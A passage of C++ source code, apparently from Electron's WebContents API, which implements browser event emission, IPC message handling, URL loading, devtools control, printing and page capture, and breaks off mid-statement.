if (owner_window)
SetOwnerWindow(owner_window);
}
Init(isolate);
AttachAsUserData(web_contents);
}
WebContents::~WebContents() {
// The destroy() is called.
if (managed_web_contents()) {
managed_web_contents()->GetView()->SetDelegate(nullptr);
// For webview we need to tell content module to do some cleanup work before
// destroying it.
if (type_ == WEB_VIEW)
guest_delegate_->Destroy();
RenderViewDeleted(web_contents()->GetRenderViewHost());
if (type_ == WEB_VIEW) {
DestroyWebContents(false /* async */);
} else {
if (type_ == BROWSER_WINDOW && owner_window()) {
for (ExtendedWebContentsObserver& observer : observers_)
observer.OnCloseContents();
} else {
DestroyWebContents(true /* async */);
}
// The WebContentsDestroyed will not be called automatically because we
// destroy the webContents in the next tick. So we have to manually
// call it here to make sure "destroyed" event is emitted.
WebContentsDestroyed();
}
}
}
void WebContents::DestroyWebContents(bool async) {
// This event is only for internal use, which is emitted when WebContents is
// being destroyed.
Emit("will-destroy");
ResetManagedWebContents(async);
}
bool WebContents::DidAddMessageToConsole(content::WebContents* source,
int32_t level,
const base::string16& message,
int32_t line_no,
const base::string16& source_id) {
return Emit("console-message", level, message, line_no, source_id);
}
void WebContents::OnCreateWindow(
const GURL& target_url,
const std::string& frame_name,
WindowOpenDisposition disposition,
const std::vector<std::string>& features,
const scoped_refptr<content::ResourceRequestBody>& body) {
if (type_ == BROWSER_WINDOW || type_ == OFF_SCREEN)
Emit("-new-window", target_url, frame_name, disposition, features, body);
else
Emit("new-window", target_url, frame_name, disposition, features);
}
void WebContents::WebContentsCreated(
content::WebContents* source_contents,
int opener_render_process_id,
int opener_render_frame_id,
const std::string& frame_name,
const GURL& target_url,
content::WebContents* new_contents) {
v8::Locker locker(isolate());
v8::HandleScope handle_scope(isolate());
auto api_web_contents = CreateFrom(isolate(), new_contents, BROWSER_WINDOW);
Emit("-web-contents-created", api_web_contents, target_url, frame_name);
}
void WebContents::AddNewContents(content::WebContents* source,
content::WebContents* new_contents,
WindowOpenDisposition disposition,
const gfx::Rect& initial_rect,
bool user_gesture,
bool* was_blocked) {
new ChildWebContentsTracker(new_contents);
v8::Locker locker(isolate());
v8::HandleScope handle_scope(isolate());
auto api_web_contents = CreateFrom(isolate(), new_contents);
if (Emit("-add-new-contents", api_web_contents, disposition, user_gesture,
initial_rect.x(), initial_rect.y(), initial_rect.width(),
initial_rect.height())) {
api_web_contents->DestroyWebContents(true /* async */);
}
}
content::WebContents* WebContents::OpenURLFromTab(
content::WebContents* source,
const content::OpenURLParams& params) {
if (params.disposition != WindowOpenDisposition::CURRENT_TAB) {
if (type_ == BROWSER_WINDOW || type_ == OFF_SCREEN)
Emit("-new-window", params.url, "", params.disposition);
else
Emit("new-window", params.url, "", params.disposition);
return nullptr;
}
// Give user a chance to cancel navigation.
if (Emit("will-navigate", params.url))
return nullptr;
// Don't load the URL if the web contents was marked as destroyed from a
// will-navigate event listener
if (IsDestroyed())
return nullptr;
return CommonWebContentsDelegate::OpenURLFromTab(source, params);
}
void WebContents::BeforeUnloadFired(content::WebContents* tab,
bool proceed,
bool* proceed_to_fire_unload) {
if (type_ == BROWSER_WINDOW || type_ == OFF_SCREEN)
*proceed_to_fire_unload = proceed;
else
*proceed_to_fire_unload = true;
}
void WebContents::MoveContents(content::WebContents* source,
const gfx::Rect& pos) {
Emit("move", pos);
}
void WebContents::CloseContents(content::WebContents* source) {
Emit("close");
if (managed_web_contents())
managed_web_contents()->GetView()->SetDelegate(nullptr);
for (ExtendedWebContentsObserver& observer : observers_)
observer.OnCloseContents();
}
void WebContents::ActivateContents(content::WebContents* source) {
Emit("activate");
}
void WebContents::UpdateTargetURL(content::WebContents* source,
const GURL& url) {
Emit("update-target-url", url);
}
bool WebContents::IsPopupOrPanel(const content::WebContents* source) const {
return type_ == BROWSER_WINDOW;
}
void WebContents::HandleKeyboardEvent(
content::WebContents* source,
const content::NativeWebKeyboardEvent& event) {
if (type_ == WEB_VIEW && embedder_) {
// Send the unhandled keyboard events back to the embedder.
embedder_->HandleKeyboardEvent(source, event);
} else {
// Go to the default keyboard handling.
CommonWebContentsDelegate::HandleKeyboardEvent(source, event);
}
}
content::KeyboardEventProcessingResult WebContents::PreHandleKeyboardEvent(
content::WebContents* source,
const content::NativeWebKeyboardEvent& event) {
if (event.GetType() == blink::WebInputEvent::Type::kRawKeyDown ||
event.GetType() == blink::WebInputEvent::Type::kKeyUp) {
bool prevent_default = Emit("before-input-event", event);
if (prevent_default) {
return content::KeyboardEventProcessingResult::HANDLED;
}
}
return content::KeyboardEventProcessingResult::NOT_HANDLED;
}
void WebContents::EnterFullscreenModeForTab(content::WebContents* source,
const GURL& origin) {
auto permission_helper =
WebContentsPermissionHelper::FromWebContents(source);
auto callback = base::Bind(&WebContents::OnEnterFullscreenModeForTab,
base::Unretained(this), source, origin);
permission_helper->RequestFullscreenPermission(callback);
}
void WebContents::OnEnterFullscreenModeForTab(content::WebContents* source,
const GURL& origin,
bool allowed) {
if (!allowed)
return;
CommonWebContentsDelegate::EnterFullscreenModeForTab(source, origin);
Emit("enter-html-full-screen");
}
void WebContents::ExitFullscreenModeForTab(content::WebContents* source) {
CommonWebContentsDelegate::ExitFullscreenModeForTab(source);
Emit("leave-html-full-screen");
}
void WebContents::RendererUnresponsive(
content::WebContents* source,
const content::WebContentsUnresponsiveState& unresponsive_state) {
Emit("unresponsive");
}
void WebContents::RendererResponsive(content::WebContents* source) {
Emit("responsive");
for (ExtendedWebContentsObserver& observer : observers_)
observer.OnRendererResponsive();
}
bool WebContents::HandleContextMenu(const content::ContextMenuParams& params) {
if (params.custom_context.is_pepper_menu) {
Emit("pepper-context-menu",
std::make_pair(params, web_contents()),
base::Bind(&content::WebContents::NotifyContextMenuClosed,
base::Unretained(web_contents()), params.custom_context));
} else {
Emit("context-menu", std::make_pair(params, web_contents()));
}
return true;
}
bool WebContents::OnGoToEntryOffset(int offset) {
GoToOffset(offset);
return false;
}
void WebContents::FindReply(content::WebContents* web_contents,
int request_id,
int number_of_matches,
const gfx::Rect& selection_rect,
int active_match_ordinal,
bool final_update) {
if (!final_update)
return;
v8::Locker locker(isolate());
v8::HandleScope handle_scope(isolate());
mate::Dictionary result = mate::Dictionary::CreateEmpty(isolate());
result.Set("requestId", request_id);
result.Set("matches", number_of_matches);
result.Set("selectionArea", selection_rect);
result.Set("activeMatchOrdinal", active_match_ordinal);
result.Set("finalUpdate", final_update); // Deprecate after 2.0
Emit("found-in-page", result);
}
bool WebContents::CheckMediaAccessPermission(
content::WebContents* web_contents,
const GURL& security_origin,
content::MediaStreamType type) {
return true;
}
void WebContents::RequestMediaAccessPermission(
content::WebContents* web_contents,
const content::MediaStreamRequest& request,
const content::MediaResponseCallback& callback) {
auto permission_helper =
WebContentsPermissionHelper::FromWebContents(web_contents);
permission_helper->RequestMediaAccessPermission(request, callback);
}
void WebContents::RequestToLockMouse(
content::WebContents* web_contents,
bool user_gesture,
bool last_unlocked_by_target) {
auto permission_helper =
WebContentsPermissionHelper::FromWebContents(web_contents);
permission_helper->RequestPointerLockPermission(user_gesture);
}
std::unique_ptr<content::BluetoothChooser> WebContents::RunBluetoothChooser(
content::RenderFrameHost* frame,
const content::BluetoothChooser::EventHandler& event_handler) {
std::unique_ptr<BluetoothChooser> bluetooth_chooser(
new BluetoothChooser(this, event_handler));
return std::move(bluetooth_chooser);
}
content::JavaScriptDialogManager*
WebContents::GetJavaScriptDialogManager(
content::WebContents* source) {
if (!dialog_manager_)
dialog_manager_.reset(new AtomJavaScriptDialogManager(this));
return dialog_manager_.get();
}
void WebContents::BeforeUnloadFired(const base::TimeTicks& proceed_time) {
// Do nothing, we override this method just to avoid compilation error since
// there are two virtual functions named BeforeUnloadFired.
}
void WebContents::RenderViewCreated(content::RenderViewHost* render_view_host) {
const auto impl = content::RenderWidgetHostImpl::FromID(
render_view_host->GetProcess()->GetID(),
render_view_host->GetRoutingID());
if (impl)
impl->disable_hidden_ = !background_throttling_;
}
void WebContents::RenderViewDeleted(content::RenderViewHost* render_view_host) {
Emit("render-view-deleted", render_view_host->GetProcess()->GetID());
}
void WebContents::RenderProcessGone(base::TerminationStatus status) {
Emit("crashed", status == base::TERMINATION_STATUS_PROCESS_WAS_KILLED);
}
void WebContents::PluginCrashed(const base::FilePath& plugin_path,
base::ProcessId plugin_pid) {
content::WebPluginInfo info;
auto plugin_service = content::PluginService::GetInstance();
plugin_service->GetPluginInfoByPath(plugin_path, &info);
Emit("plugin-crashed", info.name, info.version);
}
void WebContents::MediaStartedPlaying(const MediaPlayerInfo& video_type,
const MediaPlayerId& id) {
Emit("media-started-playing");
}
void WebContents::MediaStoppedPlaying(const MediaPlayerInfo& video_type,
const MediaPlayerId& id) {
Emit("media-paused");
}
void WebContents::DidChangeThemeColor(SkColor theme_color) {
if (theme_color != SK_ColorTRANSPARENT) {
Emit("did-change-theme-color", atom::ToRGBHex(theme_color));
} else {
Emit("did-change-theme-color", nullptr);
}
}
void WebContents::DocumentLoadedInFrame(
content::RenderFrameHost* render_frame_host) {
if (!render_frame_host->GetParent())
Emit("dom-ready");
}
void WebContents::DidFinishLoad(content::RenderFrameHost* render_frame_host,
const GURL& validated_url) {
bool is_main_frame = !render_frame_host->GetParent();
Emit("did-frame-finish-load", is_main_frame);
if (is_main_frame)
Emit("did-finish-load");
}
void WebContents::DidFailLoad(content::RenderFrameHost* render_frame_host,
const GURL& url,
int error_code,
const base::string16& error_description) {
bool is_main_frame = !render_frame_host->GetParent();
Emit("did-fail-load", error_code, error_description, url, is_main_frame);
}
void WebContents::DidStartLoading() {
Emit("did-start-loading");
}
void WebContents::DidStopLoading() {
Emit("did-stop-loading");
}
void WebContents::DidGetResourceResponseStart(
const content::ResourceRequestDetails& details) {
Emit("did-get-response-details",
details.socket_address.IsEmpty(),
details.url,
details.original_url,
details.http_response_code,
details.method,
details.referrer,
details.headers.get(),
ResourceTypeToString(details.resource_type));
}
void WebContents::DidGetRedirectForResourceRequest(
const content::ResourceRedirectDetails& details) {
Emit("did-get-redirect-request",
details.url,
details.new_url,
(details.resource_type == content::RESOURCE_TYPE_MAIN_FRAME),
details.http_response_code,
details.method,
details.referrer,
details.headers.get());
}
void WebContents::DidFinishNavigation(
content::NavigationHandle* navigation_handle) {
bool is_main_frame = navigation_handle->IsInMainFrame();
if (navigation_handle->HasCommitted() && !navigation_handle->IsErrorPage()) {
auto url = navigation_handle->GetURL();
bool is_same_document = navigation_handle->IsSameDocument();
if (is_main_frame && !is_same_document) {
Emit("did-navigate", url);
} else if (is_same_document) {
Emit("did-navigate-in-page", url, is_main_frame);
}
} else {
auto url = navigation_handle->GetURL();
int code = navigation_handle->GetNetErrorCode();
auto description = net::ErrorToShortString(code);
Emit("did-fail-provisional-load", code, description, url, is_main_frame);
// Do not emit "did-fail-load" for canceled requests.
if (code != net::ERR_ABORTED)
Emit("did-fail-load", code, description, url, is_main_frame);
}
}
void WebContents::TitleWasSet(content::NavigationEntry* entry,
bool explicit_set) {
auto title = entry ? entry->GetTitle() : base::string16();
Emit("page-title-updated", title, explicit_set);
}
void WebContents::DidUpdateFaviconURL(
const std::vector<content::FaviconURL>& urls) {
std::set<GURL> unique_urls;
for (const auto& iter : urls) {
if (iter.icon_type != content::FaviconURL::IconType::kFavicon)
continue;
const GURL& url = iter.icon_url;
if (url.is_valid())
unique_urls.insert(url);
}
Emit("page-favicon-updated", unique_urls);
}
void WebContents::DevToolsReloadPage() {
Emit("devtools-reload-page");
}
void WebContents::DevToolsFocused() {
Emit("devtools-focused");
}
void WebContents::DevToolsOpened() {
v8::Locker locker(isolate());
v8::HandleScope handle_scope(isolate());
auto handle = WebContents::CreateFrom(
isolate(), managed_web_contents()->GetDevToolsWebContents());
devtools_web_contents_.Reset(isolate(), handle.ToV8());
// Set inspected tabID.
base::Value tab_id(ID());
managed_web_contents()->CallClientFunction(
"DevToolsAPI.setInspectedTabId", &tab_id, nullptr, nullptr);
// Inherit owner window in devtools when it doesn't have one.
auto* devtools = managed_web_contents()->GetDevToolsWebContents();
bool has_window = devtools->GetUserData(NativeWindowRelay::UserDataKey());
if (owner_window() && !has_window)
handle->SetOwnerWindow(devtools, owner_window());
Emit("devtools-opened");
}
void WebContents::DevToolsClosed() {
v8::Locker locker(isolate());
v8::HandleScope handle_scope(isolate());
devtools_web_contents_.Reset();
Emit("devtools-closed");
}
void WebContents::ShowAutofillPopup(content::RenderFrameHost* frame_host,
const gfx::RectF& bounds,
const std::vector<base::string16>& values,
const std::vector<base::string16>& labels) {
auto relay = NativeWindowRelay::FromWebContents(web_contents());
if (relay) {
relay->window->ShowAutofillPopup(
frame_host, web_contents(), bounds, values, labels);
}
}
bool WebContents::OnMessageReceived(const IPC::Message& message) {
bool handled = true;
IPC_BEGIN_MESSAGE_MAP(WebContents, message)
IPC_MESSAGE_HANDLER_CODE(ViewHostMsg_SetCursor, OnCursorChange,
handled = false)
IPC_MESSAGE_UNHANDLED(handled = false)
IPC_END_MESSAGE_MAP()
return handled;
}
bool WebContents::OnMessageReceived(const IPC::Message& message,
content::RenderFrameHost* frame_host) {
bool handled = true;
FrameDispatchHelper helper = {this, frame_host};
auto relay = NativeWindowRelay::FromWebContents(web_contents());
if (relay) {
IPC_BEGIN_MESSAGE_MAP_WITH_PARAM(NativeWindow, message, frame_host)
IPC_MESSAGE_FORWARD(AtomAutofillFrameHostMsg_HidePopup,
relay->window.get(), NativeWindow::HideAutofillPopup)
IPC_MESSAGE_UNHANDLED(handled = false)
IPC_END_MESSAGE_MAP()
}
IPC_BEGIN_MESSAGE_MAP_WITH_PARAM(WebContents, message, frame_host)
IPC_MESSAGE_HANDLER(AtomFrameHostMsg_Message, OnRendererMessage)
IPC_MESSAGE_FORWARD_DELAY_REPLY(AtomFrameHostMsg_Message_Sync, &helper,
FrameDispatchHelper::OnRendererMessageSync)
IPC_MESSAGE_FORWARD_DELAY_REPLY(
AtomFrameHostMsg_SetTemporaryZoomLevel, &helper,
FrameDispatchHelper::OnSetTemporaryZoomLevel)
IPC_MESSAGE_FORWARD_DELAY_REPLY(AtomFrameHostMsg_GetZoomLevel, &helper,
FrameDispatchHelper::OnGetZoomLevel)
IPC_MESSAGE_HANDLER(AtomAutofillFrameHostMsg_ShowPopup, ShowAutofillPopup)
IPC_MESSAGE_UNHANDLED(handled = false)
IPC_END_MESSAGE_MAP()
return handled;
}
// There are three ways of destroying a webContents:
// 1. call webContents.destroy();
// 2. garbage collection;
// 3. user closes the window of webContents;
// For webview only #1 will happen, for BrowserWindow both #1 and #3 may
// happen. The #2 should never happen for webContents, because webview is
// managed by GuestViewManager, and BrowserWindow's webContents is managed
// by api::BrowserWindow.
// For #1, the destructor will do the cleanup work and we only need to make
// sure "destroyed" event is emitted. For #3, the content::WebContents will
// be destroyed on close, and WebContentsDestroyed would be called for it, so
// we need to make sure the api::WebContents is also deleted.
void WebContents::WebContentsDestroyed() {
// Cleanup relationships with other parts.
RemoveFromWeakMap();
// We can not call Destroy here because we need to call Emit first, but we
// also do not want any method to be used, so just mark as destroyed here.
MarkDestroyed();
Emit("destroyed");
// Destroy the native class in next tick.
base::ThreadTaskRunnerHandle::Get()->PostTask(
FROM_HERE, GetDestroyClosure());
}
void WebContents::NavigationEntryCommitted(
const content::LoadCommittedDetails& details) {
Emit("navigation-entry-commited", details.entry->GetURL(),
details.is_same_document, details.did_replace_entry);
}
int64_t WebContents::GetID() const {
int64_t process_id = web_contents()->GetRenderProcessHost()->GetID();
int64_t routing_id = web_contents()->GetRenderViewHost()->GetRoutingID();
int64_t rv = (process_id << 32) + routing_id;
return rv;
}
int WebContents::GetProcessID() const {
return web_contents()->GetRenderProcessHost()->GetID();
}
base::ProcessId WebContents::GetOSProcessID() const {
auto process_handle = web_contents()->GetRenderProcessHost()->GetHandle();
return base::GetProcId(process_handle);
}
WebContents::Type WebContents::GetType() const {
return type_;
}
bool WebContents::Equal(const WebContents* web_contents) const {
return GetID() == web_contents->GetID();
}
void WebContents::LoadURL(const GURL& url, const mate::Dictionary& options) {
if (!url.is_valid() || url.spec().size() > url::kMaxURLChars) {
Emit("did-fail-load",
static_cast<int>(net::ERR_INVALID_URL),
net::ErrorToShortString(net::ERR_INVALID_URL),
url.possibly_invalid_spec(),
true);
return;
}
if (guest_delegate_ && !guest_delegate_->IsAttached()) {
return;
}
content::NavigationController::LoadURLParams params(url);
GURL http_referrer;
if (options.Get("httpReferrer", &http_referrer))
params.referrer = content::Referrer(http_referrer.GetAsReferrer(),
blink::kWebReferrerPolicyDefault);
std::string user_agent;
if (options.Get("userAgent", &user_agent))
web_contents()->SetUserAgentOverride(user_agent);
std::string extra_headers;
if (options.Get("extraHeaders", &extra_headers))
params.extra_headers = extra_headers;
scoped_refptr<content::ResourceRequestBody> body;
if (options.Get("postData", &body)) {
params.post_data = body;
params.load_type = content::NavigationController::LOAD_TYPE_HTTP_POST;
}
GURL base_url_for_data_url;
if (options.Get("baseURLForDataURL", &base_url_for_data_url)) {
params.base_url_for_data_url = base_url_for_data_url;
params.load_type = content::NavigationController::LOAD_TYPE_DATA;
}
params.transition_type = ui::PAGE_TRANSITION_TYPED;
params.should_clear_history_list = true;
params.override_user_agent = content::NavigationController::UA_OVERRIDE_TRUE;
web_contents()->GetController().LoadURLWithParams(params);
// Set the background color of RenderWidgetHostView.
// We have to call it right after LoadURL because the RenderViewHost is only
// created after loading a page.
const auto view = web_contents()->GetRenderWidgetHostView();
if (view) {
WebContentsPreferences* web_preferences =
WebContentsPreferences::FromWebContents(web_contents());
std::string color_name;
if (web_preferences->web_preferences()->GetString(options::kBackgroundColor,
&color_name)) {
view->SetBackgroundColor(ParseHexColor(color_name));
} else {
view->SetBackgroundColor(SK_ColorTRANSPARENT);
}
}
}
void WebContents::DownloadURL(const GURL& url) {
auto browser_context = web_contents()->GetBrowserContext();
auto download_manager =
content::BrowserContext::GetDownloadManager(browser_context);
download_manager->DownloadUrl(
content::DownloadUrlParameters::CreateForWebContentsMainFrame(
web_contents(), url, NO_TRAFFIC_ANNOTATION_YET));
}
GURL WebContents::GetURL() const {
return web_contents()->GetURL();
}
base::string16 WebContents::GetTitle() const {
return web_contents()->GetTitle();
}
bool WebContents::IsLoading() const {
return web_contents()->IsLoading();
}
bool WebContents::IsLoadingMainFrame() const {
// Comparing site instances works because Electron always creates a new site
// instance when navigating, regardless of origin. See AtomBrowserClient.
return (web_contents()->GetLastCommittedURL().is_empty() ||
web_contents()->GetSiteInstance() !=
web_contents()->GetPendingSiteInstance()) && IsLoading();
}
bool WebContents::IsWaitingForResponse() const {
return web_contents()->IsWaitingForResponse();
}
void WebContents::Stop() {
web_contents()->Stop();
}
void WebContents::GoBack() {
atom::AtomBrowserClient::SuppressRendererProcessRestartForOnce();
web_contents()->GetController().GoBack();
}
void WebContents::GoForward() {
atom::AtomBrowserClient::SuppressRendererProcessRestartForOnce();
web_contents()->GetController().GoForward();
}
void WebContents::GoToOffset(int offset) {
atom::AtomBrowserClient::SuppressRendererProcessRestartForOnce();
web_contents()->GetController().GoToOffset(offset);
}
const std::string WebContents::GetWebRTCIPHandlingPolicy() const {
return web_contents()->
GetMutableRendererPrefs()->webrtc_ip_handling_policy;
}
void WebContents::SetWebRTCIPHandlingPolicy(
const std::string& webrtc_ip_handling_policy) {
if (GetWebRTCIPHandlingPolicy() == webrtc_ip_handling_policy)
return;
web_contents()->GetMutableRendererPrefs()->webrtc_ip_handling_policy =
webrtc_ip_handling_policy;
content::RenderViewHost* host = web_contents()->GetRenderViewHost();
if (host)
host->SyncRendererPrefs();
}
bool WebContents::IsCrashed() const {
return web_contents()->IsCrashed();
}
void WebContents::SetUserAgent(const std::string& user_agent,
mate::Arguments* args) {
web_contents()->SetUserAgentOverride(user_agent);
}
std::string WebContents::GetUserAgent() {
return web_contents()->GetUserAgentOverride();
}
bool WebContents::SavePage(const base::FilePath& full_file_path,
const content::SavePageType& save_type,
const SavePageHandler::SavePageCallback& callback) {
auto handler = new SavePageHandler(web_contents(), callback);
return handler->Handle(full_file_path, save_type);
}
void WebContents::OpenDevTools(mate::Arguments* args) {
if (type_ == REMOTE)
return;
if (!enable_devtools_)
return;
std::string state;
if (type_ == WEB_VIEW || !owner_window()) {
state = "detach";
}
if (args && args->Length() == 1) {
bool detach = false;
mate::Dictionary options;
if (args->GetNext(&options)) {
options.Get("mode", &state);
// TODO(kevinsawicki) Remove in 2.0
options.Get("detach", &detach);
if (state.empty() && detach)
state = "detach";
}
}
managed_web_contents()->SetDockState(state);
managed_web_contents()->ShowDevTools();
}
void WebContents::CloseDevTools() {
if (type_ == REMOTE)
return;
managed_web_contents()->CloseDevTools();
}
bool WebContents::IsDevToolsOpened() {
if (type_ == REMOTE)
return false;
return managed_web_contents()->IsDevToolsViewShowing();
}
bool WebContents::IsDevToolsFocused() {
if (type_ == REMOTE)
return false;
return managed_web_contents()->GetView()->IsDevToolsViewFocused();
}
void WebContents::EnableDeviceEmulation(
const blink::WebDeviceEmulationParams& params) {
if (type_ == REMOTE)
return;
Send(new ViewMsg_EnableDeviceEmulation(routing_id(), params));
}
void WebContents::DisableDeviceEmulation() {
if (type_ == REMOTE)
return;
Send(new ViewMsg_DisableDeviceEmulation(routing_id()));
}
void WebContents::ToggleDevTools() {
if (IsDevToolsOpened())
CloseDevTools();
else
OpenDevTools(nullptr);
}
void WebContents::InspectElement(int x, int y) {
if (type_ == REMOTE)
return;
if (!enable_devtools_)
return;
if (!managed_web_contents()->GetDevToolsWebContents())
OpenDevTools(nullptr);
managed_web_contents()->InspectElement(x, y);
}
void WebContents::InspectServiceWorker() {
if (type_ == REMOTE)
return;
if (!enable_devtools_)
return;
for (const auto& agent_host : content::DevToolsAgentHost::GetOrCreateAll()) {
if (agent_host->GetType() ==
content::DevToolsAgentHost::kTypeServiceWorker) {
OpenDevTools(nullptr);
managed_web_contents()->AttachTo(agent_host);
break;
}
}
}
void WebContents::HasServiceWorker(
const base::Callback<void(bool)>& callback) {
auto context = GetServiceWorkerContext(web_contents());
if (!context)
return;
struct WrappedCallback {
base::Callback<void(bool)> callback_;
explicit WrappedCallback(const base::Callback<void(bool)>& callback)
: callback_(callback) {}
void Run(content::ServiceWorkerCapability capability) {
callback_.Run(capability !=
content::ServiceWorkerCapability::NO_SERVICE_WORKER);
delete this;
}
};
auto wrapped_callback = new WrappedCallback(callback);
context->CheckHasServiceWorker(
web_contents()->GetLastCommittedURL(), GURL::EmptyGURL(),
base::Bind(&WrappedCallback::Run, base::Unretained(wrapped_callback)));
}
void WebContents::UnregisterServiceWorker(
const base::Callback<void(bool)>& callback) {
auto context = GetServiceWorkerContext(web_contents());
if (!context)
return;
context->UnregisterServiceWorker(web_contents()->GetLastCommittedURL(),
callback);
}
void WebContents::SetIgnoreMenuShortcuts(bool ignore) {
set_ignore_menu_shortcuts(ignore);
}
void WebContents::SetAudioMuted(bool muted) {
web_contents()->SetAudioMuted(muted);
}
bool WebContents::IsAudioMuted() {
return web_contents()->IsAudioMuted();
}
void WebContents::Print(mate::Arguments* args) {
PrintSettings settings = { false, false, base::string16() };
if (args->Length() >= 1 && !args->GetNext(&settings)) {
args->ThrowError();
return;
}
auto print_view_manager_basic_ptr =
printing::PrintViewManagerBasic::FromWebContents(web_contents());
if (args->Length() == 2) {
base::Callback<void(bool)> callback;
if (!args->GetNext(&callback)) {
args->ThrowError();
return;
}
print_view_manager_basic_ptr->SetCallback(callback);
}
print_view_manager_basic_ptr->PrintNow(web_contents()->GetMainFrame(),
settings.silent,
settings.print_background,
settings.device_name);
}
std::vector<printing::PrinterBasicInfo> WebContents::GetPrinterList() {
std::vector<printing::PrinterBasicInfo> printers;
auto print_backend = printing::PrintBackend::CreateInstance(nullptr);
base::ThreadRestrictions::ScopedAllowIO allow_io;
print_backend->EnumeratePrinters(&printers);
return printers;
}
void WebContents::PrintToPDF(const base::DictionaryValue& setting,
const PrintToPDFCallback& callback) {
printing::PrintPreviewMessageHandler::FromWebContents(web_contents())->
PrintToPDF(setting, callback);
}
void WebContents::AddWorkSpace(mate::Arguments* args,
const base::FilePath& path) {
if (path.empty()) {
args->ThrowError("path cannot be empty");
return;
}
DevToolsAddFileSystem(path);
}
void WebContents::RemoveWorkSpace(mate::Arguments* args,
const base::FilePath& path) {
if (path.empty()) {
args->ThrowError("path cannot be empty");
return;
}
DevToolsRemoveFileSystem(path);
}
void WebContents::Undo() {
web_contents()->Undo();
}
void WebContents::Redo() {
web_contents()->Redo();
}
void WebContents::Cut() {
web_contents()->Cut();
}
void WebContents::Copy() {
web_contents()->Copy();
}
void WebContents::Paste() {
web_contents()->Paste();
}
void WebContents::PasteAndMatchStyle() {
web_contents()->PasteAndMatchStyle();
}
void WebContents::Delete() {
web_contents()->Delete();
}
void WebContents::SelectAll() {
web_contents()->SelectAll();
}
void WebContents::Unselect() {
web_contents()->CollapseSelection();
}
void WebContents::Replace(const base::string16& word) {
web_contents()->Replace(word);
}
void WebContents::ReplaceMisspelling(const base::string16& word) {
web_contents()->ReplaceMisspelling(word);
}
uint32_t WebContents::FindInPage(mate::Arguments* args) {
uint32_t request_id = GetNextRequestId();
base::string16 search_text;
blink::WebFindOptions options;
if (!args->GetNext(&search_text) || search_text.empty()) {
args->ThrowError("Must provide a non-empty search content");
return 0;
}
args->GetNext(&options);
web_contents()->Find(request_id, search_text, options);
return request_id;
}
void WebContents::StopFindInPage(content::StopFindAction action) {
web_contents()->StopFinding(action);
}
void WebContents::ShowDefinitionForSelection() {
#if defined(OS_MACOSX)
const auto view = web_contents()->GetRenderWidgetHostView();
if (view)
view->ShowDefinitionForSelection();
#endif
}
void WebContents::CopyImageAt(int x, int y) {
const auto host = web_contents()->GetMainFrame();
if (host)
host->CopyImageAt(x, y);
}
void WebContents::Focus() {
web_contents()->Focus();
}
#if !defined(OS_MACOSX)
bool WebContents::IsFocused() const {
auto view = web_contents()->GetRenderWidgetHostView();
if (!view) return false;
if (GetType() != BACKGROUND_PAGE) {
auto window = web_contents()->GetNativeView()->GetToplevelWindow();
if (window && !window->IsVisible())
return false;
}
return view->HasFocus();
}
#endif
void WebContents::TabTraverse(bool reverse) {
web_contents()->FocusThroughTabTraversal(reverse);
}
bool WebContents::SendIPCMessage(bool all_frames,
const base::string16& channel,
const base::ListValue& args) {
auto frame_host = web_contents()->GetMainFrame();
if (frame_host) {
return frame_host->Send(new AtomFrameMsg_Message(
frame_host->GetRoutingID(), all_frames, channel, args));
}
return false;
}
void WebContents::SendInputEvent(v8::Isolate* isolate,
v8::Local<v8::Value> input_event) {
const auto view = static_cast<content::RenderWidgetHostViewBase*>(
web_contents()->GetRenderWidgetHostView());
if (!view)
return;
blink::WebInputEvent::Type type = mate::GetWebInputEventType(isolate,
input_event);
if (blink::WebInputEvent::IsMouseEventType(type)) {
blink::WebMouseEvent mouse_event;
if (mate::ConvertFromV8(isolate, input_event, &mouse_event)) {
view->ProcessMouseEvent(mouse_event, ui::LatencyInfo());
return;
}
} else if (blink::WebInputEvent::IsKeyboardEventType(type)) {
content::NativeWebKeyboardEvent keyboard_event(
blink::WebKeyboardEvent::kRawKeyDown,
blink::WebInputEvent::kNoModifiers,
ui::EventTimeForNow());
if (mate::ConvertFromV8(isolate, input_event, &keyboard_event)) {
view->ProcessKeyboardEvent(keyboard_event, ui::LatencyInfo());
return;
}
} else if (type == blink::WebInputEvent::kMouseWheel) {
blink::WebMouseWheelEvent mouse_wheel_event;
if (mate::ConvertFromV8(isolate, input_event, &mouse_wheel_event)) {
view->ProcessMouseWheelEvent(mouse_wheel_event, ui::LatencyInfo());
return;
}
}
isolate->ThrowException(v8::Exception::Error(mate::StringToV8(
isolate, "Invalid event object")));
}
void WebContents::BeginFrameSubscription(mate::Arguments* args) {
bool only_dirty = false;
FrameSubscriber::FrameCaptureCallback callback;
args->GetNext(&only_dirty);
if (!args->GetNext(&callback)) {
args->ThrowError();
return;
}
const auto view = web_contents()->GetRenderWidgetHostView();
if (view) {
std::unique_ptr<FrameSubscriber> frame_subscriber(new FrameSubscriber(
isolate(), view, callback, only_dirty));
view->BeginFrameSubscription(std::move(frame_subscriber));
}
}
void WebContents::EndFrameSubscription() {
const auto view = web_contents()->GetRenderWidgetHostView();
if (view)
view->EndFrameSubscription();
}
void WebContents::StartDrag(const mate::Dictionary& item,
mate::Arguments* args) {
base::FilePath file;
std::vector<base::FilePath> files;
if (!item.Get("files", &files) && item.Get("file", &file)) {
files.push_back(file);
}
mate::Handle<NativeImage> icon;
if (!item.Get("icon", &icon) && !file.empty()) {
// TODO(zcbenz): Set default icon from file.
}
// Error checking.
if (icon.IsEmpty()) {
args->ThrowError("Must specify 'icon' option");
return;
}
#if defined(OS_MACOSX)
// NSWindow.dragImage requires a non-empty NSImage
if (icon->image().IsEmpty()) {
args->ThrowError("Must specify non-empty 'icon' option");
return;
}
#endif
// Start dragging.
if (!files.empty()) {
base::MessageLoop::ScopedNestableTaskAllower allow(
base::MessageLoop::current());
DragFileItems(files, icon->image(), web_contents()->GetNativeView());
} else {
args->ThrowError("Must specify either 'file' or 'files' option");
}
}
void WebContents::CapturePage(mate::Arguments* args) {
gfx::Rect rect;
base::Callback<void(const gfx::Image&)> callback;
if (!(args->Length() == 1 && args->GetNext(&callback)) &&
!(args->Length() == 2 && args->GetNext(&rect)
&& args->GetNext(&callback))) {
args->ThrowError();
return;
}
const auto view = web_contents()->GetRenderWidgetHostView();
if (!view) {
callback.Run(gfx::Image());
return;
}
// Capture full page if user doesn't specify a |rect|.
const gfx::Size view_size = rect.IsEmpty() ? view->GetViewBounds().size() :
rect.size();
// By default, the requested bitmap size is the view size in screen
// coordinates. However, if there's more pixel detail available on the
// current system, increase the requested bitmap size to capture it all.
gfx::Size bitmap_size = view_size;
const gfx::NativeView native_view = view->GetNativeView();
const float scale =
